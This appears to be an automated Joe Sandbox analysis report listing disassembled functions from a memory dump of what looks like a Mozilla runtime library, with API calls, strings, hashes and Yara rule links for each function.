Opcode Fuzzy Hash: 3801f49a70012a9c1f3e88df85a6f1ac3918c62e2dfe383bc499353103117abf
Instruction Fuzzy Hash: 74C2E371A077418FD714CF28C480756BBE1BF89328F28CA6DE4A98B795C771E841CB99

Function 6C6CE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6CE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6CEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6CF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6CF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6D0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6D0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6D0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6D0ED4

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 9cb213d602f969a6f234f12c036c737290d4b72ea3b5228e00ae5acaefb446ee
Instruction ID: 0e29d50a575dcc45790639abd241ab8ddb4c9bf1b41cf0f6680c1883b5f1f0c0
Opcode Fuzzy Hash: 9cb213d602f969a6f234f12c036c737290d4b72ea3b5228e00ae5acaefb446ee
Instruction Fuzzy Hash: FB638D71E0025A8FCB04CFA8C8906DDFBB2FF89314F298269D855AB755D730B946CB94

Function 6C6A3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6C7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>jl,?,?,?,6C6A3E7D,?,?), ref: 6C6C777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C6A3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6A3F5C
VerSetConditionMask.NTDLL ref: 6C6A3F8D
VerSetConditionMask.NTDLL ref: 6C6A3F99
VerSetConditionMask.NTDLL ref: 6C6A3FA0
VerSetConditionMask.NTDLL ref: 6C6A3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C6A3FB4

Strings

nvd3d9wrap.dll, xrefs: 6C6A4466
C>jl, xrefs: 6C6A3E93
nvinit.dll, xrefs: 6C6A4479

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>jl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-437357529
Opcode ID: 10bcd221211a68943e70e34d0b7011a2bb78d8b26ef5ca135d13259b2c0f3f1f
Instruction ID: f1281f88a4fba8ff04d171f79f18950bfd48821d0341427a3e6f04cda67e3a08
Opcode Fuzzy Hash: 10bcd221211a68943e70e34d0b7011a2bb78d8b26ef5ca135d13259b2c0f3f1f
Instruction Fuzzy Hash: 2452D271614B444FDB14DF74C880AAB77A9AF86204F04096DE5938BB82DB74F90ACB78

Function 6C67FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6EE7B8), ref: 6C67FF81
LeaveCriticalSection.KERNEL32(6C6EE7B8), ref: 6C68022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C680240
EnterCriticalSection.KERNEL32(6C6EE768), ref: 6C68025B
LeaveCriticalSection.KERNEL32(6C6EE768), ref: 6C68027B

Strings

MOZ_CRASH(), xrefs: 6C680CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67FE99, 6C67FEB7, 6C67FED3, 6C680DB8, 6C680DD3, 6C6819B4, 6C681A10

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0a79052489aa8bb982d65cf9dcc4d20087d0068cc3c064fb46679e1bd0743e71
Instruction ID: 50fcbe45ea9bbf31752f4c460c519433699af573c3709fed8102ad1656673fc5
Opcode Fuzzy Hash: 0a79052489aa8bb982d65cf9dcc4d20087d0068cc3c064fb46679e1bd0743e71
Instruction Fuzzy Hash: 03B2F07160A7418FD714CF29C4D0716BBE1BF89328F28CA6DE96A8B795C770D840CB69

Function 6C6B5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C6B5E79, 6C6B5E8F
expected a Count entry, xrefs: 6C6B5AC3
data, xrefs: 6C6B6131
schema, xrefs: 6C6B606D
expected a Time entry, xrefs: 6C6B5CB6
ProfileBuffer parse error: %s, xrefs: 6C6B5AC8, 6C6B5CBB

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 8666e76698e839d89123799af9c7dc3484c4338f9d5c40b74f8dd1e633761d94
Instruction ID: ccaffca9ffbdbefb6a6b4ff3d08594a9a1667e0c6b0f7791de06f189d38e2b97
Opcode Fuzzy Hash: 8666e76698e839d89123799af9c7dc3484c4338f9d5c40b74f8dd1e633761d94
Instruction Fuzzy Hash: 81923C71A083418FD724CF18C49079AB7E1BFC9308F15892DE59AAB751DB30E859CF96

Function 6C6B2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6B2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6B378D
get , xrefs: 6C6B3205
set , xrefs: 6C6B36EC

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 430cb6ad156ba9a98881bf46581346d010c6296ffc20c161fa788624daf950ba
Instruction ID: 8aa53cbb7ba6b0a2dc8dda8acf22d91fd8a5967801d6bc347a524d0816b4c240
Opcode Fuzzy Hash: 430cb6ad156ba9a98881bf46581346d010c6296ffc20c161fa788624daf950ba
Instruction Fuzzy Hash: FA327F702083819FD324CF24C4806AFB7E2AFCA318F558D2DE59997751DB31E94ACB5A

Function 6C6A7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C6A7ECF, 6C6A8335
data, xrefs: 6C6A8280, 6C6A83E1
schema, xrefs: 6C6A81E3, 6C6A8311
vnl, xrefs: 6C6A8207
(pre-xul), xrefs: 6C6A7E88

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vnl
API String ID: 3412268980-1746493817
Opcode ID: 8c667a6b8995e7d0009bc9e5c9ff7e83660056ce53a63d9fb4c3944d1c8dbaa5
Instruction ID: d69867e09d0813ba68c80bc0749d1719f8ae9d8175ceab5e0c10d960de8eb357
Opcode Fuzzy Hash: 8c667a6b8995e7d0009bc9e5c9ff7e83660056ce53a63d9fb4c3944d1c8dbaa5
Instruction Fuzzy Hash: 8AE17FB1A043408BD710CF69884065BFBE9BFC9314F154D2DE895D7791DBB0ED098BAA

Function 6C68D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6EE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D4F2
LeaveCriticalSection.KERNEL32(6C6EE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D50B

Part of subcall function 6C66CFE0: EnterCriticalSection.KERNEL32(6C6EE784), ref: 6C66CFF6
Part of subcall function 6C66CFE0: LeaveCriticalSection.KERNEL32(6C6EE784), ref: 6C66D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D52E
EnterCriticalSection.KERNEL32(6C6EE7DC), ref: 6C68D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68D6A6
LeaveCriticalSection.KERNEL32(6C6EE7DC), ref: 6C68D712
LeaveCriticalSection.KERNEL32(6C6EE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C68D82C
<jemalloc>, xrefs: 6C68D827

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: ce6755edcb5e12eb0bd3015daac4f7a03af15b7b5cec589b5b0ad0c3335c2c72
Instruction ID: ba04cf58e79e3a3a6fc5e64fb6cc24f3a942ff62ed2392f9fff6498735e47ccb
Opcode Fuzzy Hash: ce6755edcb5e12eb0bd3015daac4f7a03af15b7b5cec589b5b0ad0c3335c2c72
Instruction Fuzzy Hash: 60910871A0A7068FDB54CF29C09076AB7F1EB89314F14492FD55AC7B85D730E840CBAA

Function 6C6C4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6C4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C4F2E
moz_xmalloc.MOZGLUE ref: 6C6C4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6C4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6C52E6
Sleep.KERNEL32(00000010), ref: 6C6C5481
free.MOZGLUE(?), ref: 6C6C5498

Strings

(, xrefs: 6C6C5250

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 77254d2e4b064e5e0ba49096cef9554ccbf957f9de78c85917ded1e68288527d
Instruction ID: b860aef715828a1ba528d595537a75060df45f48d7649bc58152566460c02b09
Opcode Fuzzy Hash: 77254d2e4b064e5e0ba49096cef9554ccbf957f9de78c85917ded1e68288527d
Instruction Fuzzy Hash: 6EF1A471A18B408FC716DF39C89062BB7F5AFE6384F05872EF846A7651DB319442CB85

Function 6C689E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C689EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C689F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C689F34
LeaveCriticalSection.KERNEL32(?), ref: 6C68A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C68A8B1, 6C68A8D4, 6C68A8EF

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 8af35a228941f9cd984b4710b58fbf15de70e2151d72339abb2130ee420cf0e7
Instruction ID: 824f276e60fdec9e71aad19272bb6fa1a19f55248850e63183eb565635b72352
Opcode Fuzzy Hash: 8af35a228941f9cd984b4710b58fbf15de70e2151d72339abb2130ee420cf0e7
Instruction Fuzzy Hash: 99727AB2A066118FD714CF28C540215FBE1BF89328F29C76DE8699B7D2D375E842CB94

Function 6C6B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B2C61

Part of subcall function 6C664DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C664E5A
Part of subcall function 6C664DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C664E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6B2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B2E2D

Part of subcall function 6C6781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6781DE

Strings

expected a Time entry, xrefs: 6C6B2E36
(root), xrefs: 6C6B354F
ProfileBuffer parse error: %s, xrefs: 6C6B2E3B

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 51f1a2b81570e9c9847eac880e802c09e415331f84d793b5cd33fd371525745b
Instruction ID: 7a64d6a0685af5b220eb28a11bd3daf26a55a0b2a1932b4f4281def68650fbcf
Opcode Fuzzy Hash: 51f1a2b81570e9c9847eac880e802c09e415331f84d793b5cd33fd371525745b
Instruction Fuzzy Hash: A291C0706087418FC724CF24C48469FB7E1AFCA358F10492DE59AAB751DB30D95ACB5E

Function 6C6C9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6C9F3D
__aulldiv.LIBCMT ref: 6C6C9F77
__aullrem.LIBCMT ref: 6C6C9F8C
__aulldiv.LIBCMT ref: 6C6CA023

Strings

-Infinity, xrefs: 6C6C9E60, 6C6C9E7B
NaN, xrefs: 6C6C9EAB

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: d6b747e29f58105f303bbaf5cbda111dbe279a3023beb02ad36908af57ba3e5c
Instruction ID: 81d4e561393ed46e36c5abad57da03818f4d5c913f2727bd26b1c5670395b476
Opcode Fuzzy Hash: d6b747e29f58105f303bbaf5cbda111dbe279a3023beb02ad36908af57ba3e5c
Instruction Fuzzy Hash: C3C1BF31F043198BDB14CFA9C8507EEB7B6FF89318F144529D406ABB81D770A949CB9A

Function 6C66D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C66DC7F
1, xrefs: 6C66DBDD
9, xrefs: 6C66DE7F
@, xrefs: 6C66DAF6
0, xrefs: 6C66D852
8, xrefs: 6C66DC08
, xrefs: 6C66DA88
-, xrefs: 6C66D7DD

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 738c3e5c09e74d1778b71895c0adb116ce5990ff25a58d5bc13b652e15d20730
Instruction ID: 4c3d6166e7327c442050f1a9cd8adc15945478ca3e1230feef887e29e1cb5b46
Opcode Fuzzy Hash: 738c3e5c09e74d1778b71895c0adb116ce5990ff25a58d5bc13b652e15d20730
Instruction Fuzzy Hash: 3E629C7150C3858FD711CE2AC49079ABBF2AF8635CF284A1DE4E54BE91C3359985CB8B

Function 6C6D545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6D8A4B

Strings

~qfl, xrefs: 6C6D921F, 6C6D9459, 6C6D5703, 6C6D56C7, 6C6D9269, 6C6D5740, 6C6D948F

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memset
String ID: ~qfl
API String ID: 2221118986-2285169542
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: c6a3c3cc12f51dc8b34c08daefb753e9b8cb109bbee771f827509c1304635ab3
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 1AB1FA72E0421ACFDB14CF68CC907E9B7B2EF85314F1A02A9C549DB791D730A989CB94

Function 6C6D542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6D925C

Strings

~qfl, xrefs: 6C6D921F, 6C6D9459, 6C6D5703, 6C6D56C7, 6C6D9269, 6C6D5740, 6C6D948F

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memset
String ID: ~qfl
API String ID: 2221118986-2285169542
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 1bfa3692fb00830db89825f6aa746a3ffefbdecbc8c937e2cd061ffa76849725
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 24B1C572E0420A8FCB14CF68CC916EDB7B2EF89314F160269C549EB795D730A989CB94

Function 6C66BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C66C1CB
__aulldiv.LIBCMT ref: 6C66C24C
__aulldiv.LIBCMT ref: 6C66C348
__aullrem.LIBCMT ref: 6C66C365
__aulldiv.LIBCMT ref: 6C66C37D

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 18d07a8145aa87633262ae3b35e62824c317e84085b0252f5575ce2ad74cab9b
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 50323832B04A119FCB18DE2DC890656BBE6AFC9310F09866DE896CB795D730ED05CB91

Function 6C6A6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C6A6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A6E1E

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 7ea3928407f89428e43febf9c788fd1928eefc968453ff42a98d768b2b896fbc
Instruction ID: d9c2dc442624d1ecd2a8e69a11bc43862024ce83b8d91a37ff7ea39e2a1a1b38
Opcode Fuzzy Hash: 7ea3928407f89428e43febf9c788fd1928eefc968453ff42a98d768b2b896fbc
Instruction Fuzzy Hash: FEA18E746183818FC714CF29C4807AEFBE2BF89308F45491DE48A97751DB70E84ACB9A

